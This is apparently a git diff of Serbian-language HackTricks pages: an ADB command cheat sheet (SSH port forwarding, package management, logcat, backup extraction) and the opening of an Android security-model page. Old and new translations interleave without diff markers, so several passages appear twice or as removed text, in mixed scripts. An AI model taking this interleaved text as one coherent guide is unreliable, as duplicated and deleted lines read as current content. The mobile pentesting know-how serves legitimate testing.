* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
@ -60,16 +61,17 @@ Drugi načini podrške HackTricks-u:
{% embed url="https://ippsec.rocks/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
**Adb se obično nalazi u:**
@ -27,25 +28,25 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
```
adb devices
```
Ovo će izlistati povezane uređaje; ako se pojavi "_**neovlašćeno**_", to znači da morate **odblokirati** svoj **mobilni** uređaj i **prihvatiti** vezu.
Ovo će prikazati povezane uređaje; ako se pojavi "_**neovlašćeno**_", to znači da morate **otključati** svoj **mobilni** i **prihvatiti** vezu.
Ovo upućuje uređaj da pokrene adb server na portu 5555:
Ovo ukazuje uređaju da treba da pokrene adb server na portu 5555:
```
adb tcpip 5555
```
Povežite se na tu IP adresu i taj port:
Povežite se na tu IP adresu i tu Port:
```
adb connect <IP>:<PORT>
```
Ako dobijete grešku kao što je sledeća u virtuelnom Android softveru (kao što je Genymotion):
Ако добијете грешку као што је следећа у виртуелном Андроид софтверу (као што је Genymotion):
```
adb server version (41) doesn't match this client (36); killing...
```
To je zato što pokušavate da se povežete sa ADB serverom koji ima drugu verziju. Samo pokušajte da pronađete adb binarni fajl koji softver koristi (idite na `C:\Program Files\Genymobile\Genymotion` i potražite adb.exe)
To je zato što pokušavate da se povežete na ADB server sa drugom verzijom. Samo pokušajte da pronađete adb binarni fajl koji softver koristi (idite na `C:\Program Files\Genymobile\Genymotion` i potražite adb.exe)
## Više uređaja
## Nekoliko uređaja
Kada pronađete **više uređaja povezanih sa vašim računarom**, moraćete da **naznačite na kojem** želite da pokrenete adb komandu.
Kada god pronađete **several devices connected to your machine** moraćete da **specifikujete u kojem** želite da pokrenete adb komandu.
```bash
adb devices
List of devices attached
@ -60,16 +61,16 @@ root
```
## Port Tunneling
U slučaju da je **adb** **port** dostupan samo sa **localhost** na android uređaju, ali **imate pristup putem SSH**, možete **preusmeriti port 5555** i povezati se putem adb-a:
U slučaju da je **adb** **port** dostupan samo sa **localhost** na android uređaju, ali **imate pristup putem SSH**, možete **proslediti port 5555** i povezati se putem adb:
```bash
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
adb connect 127.0.0.1:5555
```
# Paket menadžer
# Paket Menadžer
## Instalacija/Deinstalacija
## Instaliraj/Deinstaliraj
### adb install \[opcija] \<putanja>
### adb install \[option] \<path>
```bash
adb install test.apk
@ -85,7 +86,7 @@ adb install -d test.apk # allow version code downgrade
adb install -p test.apk # partial application install
```
### adb deinstaliraj \[opcije] \<PAKET>
### adb uninstall \[options] \<PACKAGE>
```bash
adb uninstall com.test.app
@ -93,9 +94,9 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p
```
## Paketi
Ispisuje sve pakete, opciono samo one čiji naziv paketa sadrži tekst u \<FILTER>.
Ispisuje sve pakete, opcionalno samo one čije ime paketa sadrži tekst u \<FILTER>.
### adb shell pm list packages \[opcije] \<FILTER-STR>
### adb shell pm list packages \[options] \<FILTER-STR>
```bash
adb shell pm list packages <FILTER-STR>
@ -117,17 +118,17 @@ adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to quer
```
### adb shell pm path \<PACKAGE>
Ispisuje putanju do APK datoteke određene .
Ispisuje putanju do APK-a datog .
```bash
adb shell pm path com.android.phone
```
### adb shell pm clear \<PACKAGE>
Obrišite sve podatke povezane sa paketom.
Obriši sve podatke povezane sa paketom.
```bash
adb shell pm clear com.test.abc
```
# Upravljač datotekama
# File Manager
### adb pull \<remote> \[local]
@ -135,23 +136,23 @@ Preuzmite određenu datoteku sa emulatora/uređaja na vaš računar.
```bash
adb pull /sdcard/demo.mp4 ./
```
### adb push \<lokalno> \<udaljeno>
### adb push \<local> \<remote>
Otpremi određeni fajl sa tvog računara na emulator/uređaj.
Otpremite određenu datoteku sa vašeg računara na emulator/uređaj.
```bash
adb push test.apk /sdcard
```
# Snimanje ekrana/Snimak ekrana
# Screencapture/Screenrecord
### adb shell screencap \<ime_fajla>
### adb shell screencap \<filename>
Snimanje ekrana uređaja.
Uzima snimak ekrana prikaza uređaja.
```bash
adb shell screencap /sdcard/screen.png
```
### adb shell screenrecord \[opcije] \<ime_fajla>
### adb shell screenrecord \[options] \<filename>
Snimanje ekrana uređaja koji pokreću Android 4.4 (API nivo 19) i novije verzije.
Snima prikaz uređaja koji koriste Android 4.4 (API nivo 19) i novije verzije.
```bash
adb shell screenrecord /sdcard/demo.mp4
adb shell screenrecord --size <WIDTHxHEIGHT>
@ -160,9 +161,9 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
adb shell screenrecord --rotate # Rotates 90 degrees
adb shell screenrecord --verbose
```
(pritisnite Ctrl-C da biste zaustavili snimanje)
(pritiskom na Ctrl-C zaustavite snimanje)
**Možete preuzeti datoteke (slike i videozapise) koristeći **_**adb pull**_
**Možete preuzeti datoteke (slike i video zapise) koristeći **_**adb pull**_
# Shell
@ -174,13 +175,13 @@ adb shell
```
### adb shell \<CMD>
Izvršava komandu unutar uređaja
Izvršite komandu unutar uređaja
```bash
adb shell ls
```
## pm
Sledeće komande se izvršavaju unutar ljuske.
Sledeće komande se izvršavaju unutar shell-a
```bash
pm list packages #List installed packages
pm path <package name> #Get the path to the apk file of tha package
@ -195,61 +196,38 @@ Ako želite da dobijete PID procesa vaše aplikacije, možete izvršiti:
```bash
adb shell ps
```
I pronađite vašu aplikaciju
И претражите вашу апликацију
Ili možete uraditi
Или можете да урадите
```bash
adb shell pidof com.your.application
```
I ispisuje PID aplikacije
I odštampati PID aplikacije
# Sistem
```bash
adb root
```
Pokreće adbd daemon sa root privilegijama. Zatim, morate ponovo se povezati na ADB server i bićete root (ako je dostupno).
Ponovo pokreće adbd daemon sa root dozvolama. Zatim, morate ponovo da se povežete na ADB server i bićete root (ako je dostupno)
```bash
adb sideload <update.zip>
```
# Flashovanje/obnavljanje Android update.zip paketa.
flashing/restoring Android update.zip paketa.
# Dnevnici
# Logs
## Logcat
Da biste **filtrirali poruke samo jedne aplikacije**, dobijte PID aplikacije i koristite grep (linux/macos) ili findstr (windows) da biste filtrirali izlaz logcat-a:
Da **filtrirate poruke samo jedne aplikacije**, dobijte PID aplikacije i koristite grep (linux/macos) ili findstr (windows) da filtrirate izlaz logcat-a:
```bash
adb logcat | grep 4526
adb logcat | findstr 4526
```
### adb logcat \[opcija] \[specifikacije-filtera]
Ova adb komanda se koristi za prikazivanje logova sa Android uređaja. Može se koristiti sa različitim opcijama i specifikacijama filtera kako bi se prilagodio prikaz logova prema potrebama korisnika.
#### Opcije:
- **-v** \[format] : Podešava format prikaza logova. Mogući formati su brief, process, tag, thread, raw, time, threadtime i long.
- **-d** : Prikazuje samo poslednje logove.
- **-f** \[file] : Snima logove u određeni fajl.
- **-r** \[k] : Rotira log fajl svakih k kilobajta.
- **-n** \[count] : Održava samo poslednjih count broj rotiranih log fajlova.
- **-c** : Briše sve logove pre prikazivanja.
- **-b** \[buffer] : Prikazuje samo logove iz određenog bafera. Mogući baferi su main, system, radio, events i crash.
#### Specifikacije filtera:
- ***:S** : Prikazuje samo logove sa određenim tagom.
- ***:V** : Prikazuje sve logove.
- ***:D** : Prikazuje samo debug logove.
- ***:I** : Prikazuje samo informacione logove.
- ***:W** : Prikazuje samo upozorenja.
- ***:E** : Prikazuje samo greške.
- ***:F** : Prikazuje samo fatalne greške.
- ***:S** : Prikazuje samo silent logove.
Napomena: Opcija i specifikacija filtera mogu se kombinovati kako bi se prilagodio prikaz logova prema potrebama korisnika.
### adb logcat \[option] \[filter-specs]
```bash
adb logcat
```
Napomena: pritisnite Ctrl-C da biste zaustavili monitor.
Notes: pritisnite Ctrl-C da zaustavite monitor
```bash
adb logcat *:V # lowest priority, filter to only show Verbose level
@ -266,20 +244,6 @@ adb logcat *:F # filter to only show Fatal level
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
```
### adb logcat -b \<Buffer>
Komanda `adb logcat -b \<Buffer>` se koristi za prikazivanje logova iz određenog bafera na Android uređaju pomoću ADB-a.
Ova komanda omogućava pristup različitim vrstama bafera logova na uređaju, kao što su `main`, `system`, `radio`, `events` i `crash`. Korišćenje opcije `-b` zajedno sa odgovarajućim baferom omogućava filtriranje i prikazivanje samo određenih logova.
Na primer, ako želite da prikažete samo logove iz `main` bafera, koristite sledeću komandu:
```
adb logcat -b main
```
Ova komanda će prikazati sve logove koji su zabeleženi u `main` baferu na Android uređaju. Možete koristiti istu sintaksu za prikazivanje logova iz drugih bafera.
Važno je napomenuti da je ADB (Android Debug Bridge) alat koji omogućava komunikaciju između računara i Android uređaja. Korišćenje ADB-a za prikazivanje logova može biti korisno prilikom debagovanja i analize problema na Android aplikacijama.
```bash
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
@ -299,9 +263,9 @@ adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
```
## dumpsys
dumps sistemskih podataka
izvlači sistemske podatke
### adb shell dumpsys \[opcije]
### adb shell dumpsys \[options]
```bash
adb shell dumpsys
@ -309,93 +273,11 @@ adb shell dumpsys meminfo
adb shell dumpsys battery
```
---
title: ADB команде
---
# ADB команде
ADB (Android Debug Bridge) је инструмент који омогућава комуникацију између рачунара и Android уређаја. Овај чланак приказује неке од најчешће коришћених ADB команди за пентестинг Android апликација.
## Постављање ADB окружења
Пре него што почнемо са коришћењем ADB команди, потребно је поставити ADB окружење. Ево како то можете урадити:
1. Преузмите и инсталирајте Android SDK на свој рачунар.
2. Омогућите "Developer Options" на свом Android уређају. Ово можете урадити тако што ћете иди на "Settings" > "About phone" > "Build number" и десет пута кликнете на "Build number".
3. Омогућите "USB Debugging" на свом Android уређају. Ово можете урадити тако што ћете ићи на "Settings" > "Developer options" > "USB Debugging" и омогућите га.
4. Повежите свој Android уређај са рачунаром помоћу USB кабла.
5. Проверите да ли је ADB препознао ваш уређај тако што ћете у командној линији унети команду `adb devices`. Ако се прикаже ваш уређај, значи да је ADB успешно постављен.
## Основне ADB команде
### `adb devices`
Ова команда приказује све повезане Android уређаје.
### `adb shell`
Ова команда отвара командну линију на повезаном Android уређају.
### `adb install <path_to_apk>`
Ова команда инсталира Android апликацију на повезани уређај. Замените `<path_to_apk>` путањом до APK фајла.
### `adb uninstall <package_name>`
Ова команда деинсталира Android апликацију са повезаног уређаја. Замените `<package_name>` именом пакета апликације.
### `adb push <local_path> <remote_path>`
Ова команда копира фајл са локалног рачунара на повезани Android уређај. Замените `<local_path>` путањом до локалног фајла и `<remote_path>` путањом на уређају где желите да копирате фајл.
### `adb pull <remote_path> <local_path>`
Ова команда копира фајл са повезаног Android уређаја на локални рачунар. Замените `<remote_path>` путањом до фајла на уређају и `<local_path>` путањом на рачунару где желите да копирате фајл.
### `adb logcat`
Ова команда приказује системске логове са повезаног Android уређаја.
### `adb shell pm list packages`
Ова команда приказује све инсталиране пакете на повезаном Android уређају.
### `adb shell pm path <package_name>`
Ова команда приказује путању до инсталиране апликације на повезаном Android уређају. Замените `<package_name>` именом пакета апликације.
### `adb shell dumpsys package <package_name>`
Ова команда приказује информације о инсталираној апликацији на повезаном Android уређају. Замените `<package_name>` именом пакета апликације.
### `adb shell am start -n <package_name>/<activity_name>`
Ова команда покреће одређену активност у инсталираној апликацији на повезаном Android уређају. Замените `<package_name>` именом пакета апликације и `<activity_name>` именом активности.
### `adb shell input keyevent <key_code>`
Ова команда симулира притисак на одређени тастер на повезаном Android уређају. Замените `<key_code>` кодом тастера.
### `adb shell input text "<text>"`
Ова команда симулира унос текста на повезаном Android уређају. Замените `<text>` текстом који желите да унесете.
### `adb shell screencap <file_path>`
Ова команда снима слику екрана повезаног Android уређаја. Замените `<file_path>` путањом где желите да снимите слику.
### `adb shell screenrecord <file_path>`
Ова команда снима видео екрана повезаног Android уређаја. Замените `<file_path>` путањом где желите да снимите видео.
## Закључак
Ово су само неке од најчешће коришћених ADB команди за пентестинг Android апликација. ADB пружа многе могућности за истраживање и тестирање безбедности Android уређаја и апликација.
Notes: Mobilni uređaj sa omogućenom opcijom za programere koji koristi Android 5.0 ili noviji.
```bash
adb shell dumpsys batterystats collects battery data from your device
```
Beleške: [Battery Historian](https://github.com/google/battery-historian) konvertuje te podatke u HTML vizualizaciju. **KORAK 1** _adb shell dumpsys batterystats > batterystats.txt_ **KORAK 2** _python historian.py batterystats.txt > batterystats.html_
Napomene: [Battery Historian](https://github.com/google/battery-historian) konvertuje te podatke u HTML vizualizaciju. **STEP 1** _adb shell dumpsys batterystats > batterystats.txt_ **STEP 2** _python historian.py batterystats.txt > batterystats.html_
```bash
adb shell dumpsys batterystats --reset erases old collection data
```
@ -403,7 +285,7 @@ adb shell dumpsys activity
# Backup
Napravite rezervnu kopiju Android uređaja putem adb-a.
Napravite rezervnu kopiju Android uređaja putem adb.
```bash
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
# -apk -- Include APK from Third partie's applications
@ -419,16 +301,17 @@ Ako želite da pregledate sadržaj rezervne kopije:
```bash
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Osnove Android aplikacija
# Osnovi Android Aplikacija
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
**Try Hard Security Group**
@ -22,137 +23,138 @@ Drugi načini podrške HackTricks-u:
***
## Android Sigurnosni Model
## Android Bezbednosni Model
**Postoje dva sloja:**
* **OS**, koji drži instalirane aplikacije izolovane jednu od druge.
* **Sama aplikacija**, koja omogućava programerima da **izlože određene funkcionalnosti** i konfigurišu sposobnosti aplikacije.
* **OS**, koji drži instalirane aplikacije izolovane jedna od druge.
* **sama aplikacija**, koja omogućava programerima da **izlože određene funkcionalnosti** i konfigurišu mogućnosti aplikacije.
### UID Separacija
### UID Razdvajanje
**Svaka aplikacija je dodeljena specifičan korisnički ID**. Ovo se radi prilikom instalacije aplikacije tako da **aplikacija može da komunicira samo sa fajlovima koje poseduje njen korisnički ID ili deljenim** fajlovima. Stoga, samo aplikacija, određeni komponenti OS-a i korisnik sa administratorskim pravima mogu pristupiti podacima aplikacija.
**Svakoj aplikaciji se dodeljuje specifični User ID**. Ovo se dešava tokom instalacije aplikacije tako da **aplikacija može da komunicira samo sa datotekama koje pripadaju njenom User ID-u ili deljenim** datotekama. Stoga, samo sama aplikacija, određeni delovi OS-a i root korisnik mogu pristupiti podacima aplikacije.
### Deljenje UID-a
### UID Deljenje
**Dve aplikacije mogu biti konfigurisane da koriste isti UID**. Ovo može biti korisno za deljenje informacija, ali ako je jedna od njih kompromitovana, podaci obe aplikacije će biti kompromitovani. Zato se ovo ponašanje **ne preporučuje**.\
**Da bi delile isti UID, aplikacije moraju definisati istu vrednost `android:sharedUserId` u njihovim manifestima.**
**Da bi delile isti UID, aplikacije moraju definisati istu `android:sharedUserId` vrednost u svojim manifestima.**
### Izolacija
### Sandbox
**Android aplikacioni pesak** omogućava pokretanje **svake aplikacije** kao **zaseban proces pod zasebnim korisničkim ID-om**. Svaki proces ima svoju virtuelnu mašinu, tako da kod aplikacije radi izolovano od drugih aplikacija.\
Od Android 5.0(L) **SELinux** je primenjen. U osnovi, SELinux odbija sve interakcije procesa, a zatim kreira politike da **dozvoli samo očekivane interakcije između njih**.
**Android Application Sandbox** omogućava da se **svaka aplikacija** pokreće kao **poseban proces pod posebnim korisničkim ID-om**. Svaki proces ima svoju virtuelnu mašinu, tako da se kod aplikacije izvršava u izolaciji od drugih aplikacija.\
Od Android 5.0(L) **SELinux** se primenjuje. U suštini, SELinux je odbio sve interakcije procesa i zatim stvorio politike da **dozvoli samo očekivane interakcije između njih**.
### Dozvole
Kada instalirate **aplikaciju i ona traži dozvole**, aplikacija traži dozvole konfigurisane u **`uses-permission`** elementima u **AndroidManifest.xml** fajlu. **Uses-permission** element označava ime tražene dozvole unutar **name** **atributa**. Takođe ima **maxSdkVersion** atribut koji zaustavlja traženje dozvola na verzijama višim od navedene.\
Imajte na umu da android aplikacije ne moraju tražiti sve dozvole odmah, mogu takođe **tražiti dozvole dinamički** ali sve dozvole moraju biti **deklarisane** u **manifestu**.
Kada instalirate **aplikaciju i ona traži dozvole**, aplikacija traži dozvole konfigurisane u **`uses-permission`** elementima u **AndroidManifest.xml** datoteci. **uses-permission** element označava naziv tražene dozvole unutar **name** **atributa.** Takođe ima **maxSdkVersion** atribut koji prestaje da traži dozvole na verzijama višim od one koja je navedena.\
Napomena da android aplikacije ne moraju tražiti sve dozvole na početku, mogu takođe **tražiti dozvole dinamički**, ali sve dozvole moraju biti **deklarisane** u **manifestu.**
Kada aplikacija izlaže funkcionalnost, može ograničiti **pristup samo aplikacijama koje imaju određenu dozvolu**.\
Element dozvole ima tri atributa:
* **Ime** dozvole
* Atribut **permission-group**, koji omogućava grupisanje povezanih dozvola.
* **Nivo zaštite** koji označava kako se dozvole dodeljuju. Postoje četiri vrste:
* **Normalno**: Koristi se kada nema **poznatih pretnji** aplikaciji. Korisniku nije potrebno da je **odobri**.
* **Opasno**: Označava da dozvola daje traženoj aplikaciji neki **povišen pristup**. **Korisnici su zamoljeni da ih odobre**.
* **Potpis**: Samo **aplikacije potpisane istim sertifikatom kao i ona** koja izvozi komponentu mogu dobiti dozvolu. Ovo je najjači tip zaštite.
* **PotpisIliSistem**: Samo **aplikacije potpisane istim sertifikatom kao i ona** koja izvozi komponentu ili **aplikacije koje se izvršavaju sa sistemskim pristupom** mogu dobiti dozvole
* **ime** dozvole
* **permission-group** atribut, koji omogućava grupisanje povezanih dozvola.
* **protection-level** koji označava kako se dozvole dodeljuju. Postoje četiri vrste:
* **Normal**: Koristi se kada nema **poznatih pretnji** za aplikaciju. Korisnik **nije obavezan da je odobri**.
* **Opasno**: Označava da dozvola dodeljuje tražećoj aplikaciji neki **povišeni pristup**. **Korisnici se traže da ih odobre**.
